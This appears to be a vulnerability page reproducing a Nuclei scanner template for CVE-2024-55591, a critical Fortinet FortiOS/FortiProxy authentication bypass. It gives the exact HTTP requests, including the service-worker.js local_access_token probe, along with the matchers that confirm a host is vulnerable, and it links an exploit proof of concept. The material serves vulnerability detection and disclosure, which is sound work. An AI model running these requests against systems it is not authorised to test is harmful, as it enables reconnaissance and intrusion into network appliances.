CVE-2024-55591: Fortinet - Authentication Bypass

2025-08-01 Fortinet PoC Public

Description

Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.

PoC

id: CVE-2024-55591

info:
  name: Fortinet - Authentication Bypass
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.
  impact: |
    Unauthenticated attackers can bypass authentication mechanisms to access sensitive system information and gain unauthorized access to FortiOS and FortiProxy systems.
  remediation: |
    Update Fortinet FortiOS and FortiProxy to versions that patch CVE-2024-55591 as specified in Fortinet's security advisory.
  reference:
    - https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591/blob/main/CVE-2024-55591-PoC.py
    - https://nvd.nist.gov/vuln/detail/cve-2024-55591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55591
    cwe-id: CWE-288,NVD-CWE-Other
    epss-score: 0.98259
    epss-percentile: 0.99913
    cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortiproxy
  tags: cve,cve2024,fortinet,disclosure,fortios,kev,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login?redir=/ng"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - '<html class="main-app">'
        internal: true

  - raw:
      - |
        GET /service-worker.js?local_access_token={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "api/v2/static"
          - "self.addEventListener"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/javascript"

      - type: status
        status:
          - 200
# digest: 490a0046304402205e0dbd4b8b68546c0c914fee11b84a67d1aa19757b105c3840e9281bdcafb8bc0220745dd9c11c6b10e3e7d7bce4ce3ea1077c9b1f807ad12184a5a161325efca536:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-55591.yaml

References

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